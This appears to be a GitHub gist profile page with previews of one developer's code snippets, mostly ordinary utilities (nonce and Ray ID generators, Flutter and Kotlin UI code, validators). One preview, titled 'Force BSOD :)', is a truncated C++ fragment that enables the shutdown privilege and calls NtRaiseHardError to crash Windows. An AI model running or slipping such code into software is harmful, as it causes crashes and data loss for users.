Skip to content

Instantly share code, notes, and snippets.

View milksense's full-sized avatar
🙂

milksense

🙂
  • Decentralized
View GitHub Profile
@milksense
milksense / index.ts
Last active August 28, 2022 16:47
Simple CSP nonce generator
import { randomBytes } from 'crypto';
/**
* Generates a valid base64 nonce value of at least 128-bits.
*
* @param {number} size The random bytes to generate clamped between 16 and 64.
* Defaults to 16 (128-bit).
*
* @see https://csp.withgoogle.com/docs/faq.html#generating-nonces
*
@milksense
milksense / index.ts
Last active July 15, 2024 22:03
Simple Cloudflare Ray ID generator
import randomstring from 'randomstring';
/**
* A Cloudflare Ray ID is a unique identifier given to every request that goes through Cloudflare.
*
* @see https://developers.cloudflare.com/fundamentals/get-started/reference/cloudflare-ray-id/
*
* @returns {string} "Cloudflare" Ray ID.
*/
export default (): string => {
@milksense
milksense / bsod.cpp
Created July 26, 2022 03:26
Force BSOD :)
int bsod() {
BOOLEAN bEnabled;
ULONG uResp;
LPVOID lpFuncAddress =
GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
LPVOID lpFuncAddress2 =
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtRaiseHardError");
pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)lpFuncAddress;
pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)lpFuncAddress2;
NTSTATUS NtRet = NtCall(19, TRUE, FALSE, &bEnabled);
@milksense
milksense / slider.dart
Created December 13, 2022 02:04
Flutter | Carousel Slider
import 'dart:developer';
import 'dart:async';
import 'package:flutter/material.dart';
import 'package:flightspy/config/palette.dart';
import 'package:flutter_hooks/flutter_hooks.dart';
import 'package:iconsax/iconsax.dart';
// TODO: FIXME Temp solution for preserved backend request
Future<String> getPromos(int number) async {
@milksense
milksense / MultiStateProgressIndicator.kt
Created January 29, 2024 00:48
Multi State Progress Indicator | M3
MultiStateProgressIndicator(
Modifier
.padding(top = 18.dp)
.padding(horizontal = 8.dp)
.fillMaxWidth()
.height(16.dp), 15, 60, 25
)
@Composable
private fun MultiStateProgressIndicator(
@milksense
milksense / tonAddressRegex.js
Created May 16, 2024 15:16
TON Blockchain address regex
export const ADDRESS_REGEX = new RegExp(/[UEk0][Qf][\w\-]{46}/);
@milksense
milksense / Validator.kt
Created October 20, 2024 13:09
Kotlin | Email and Password Validator
object Validator {
private val emailAddressRegex =
Regex(
"[a-zA-Z0-9+._%\\-]{1,256}" +
"@" +
"[a-zA-Z0-9][a-zA-Z0-9\\-]{0,64}" +
"(" +
"\\." +
"[a-zA-Z0-9][a-zA-Z0-9\\-]{0,25}" +
")+",
@milksense
milksense / types.ts
Created March 25, 2025 08:08
Custom SVG in Svelte 5
import type { Snippet } from 'svelte';
export type WithElementRef<T, U extends HTMLElement | SVGElement = HTMLElement> = T & {
ref?: U | null;
};
export type WithElementRefAndChild<
T,
U extends HTMLElement | SVGElement = HTMLElement
> = WithElementRef<T, U> & { child?: Snippet<[{ props: T }]> };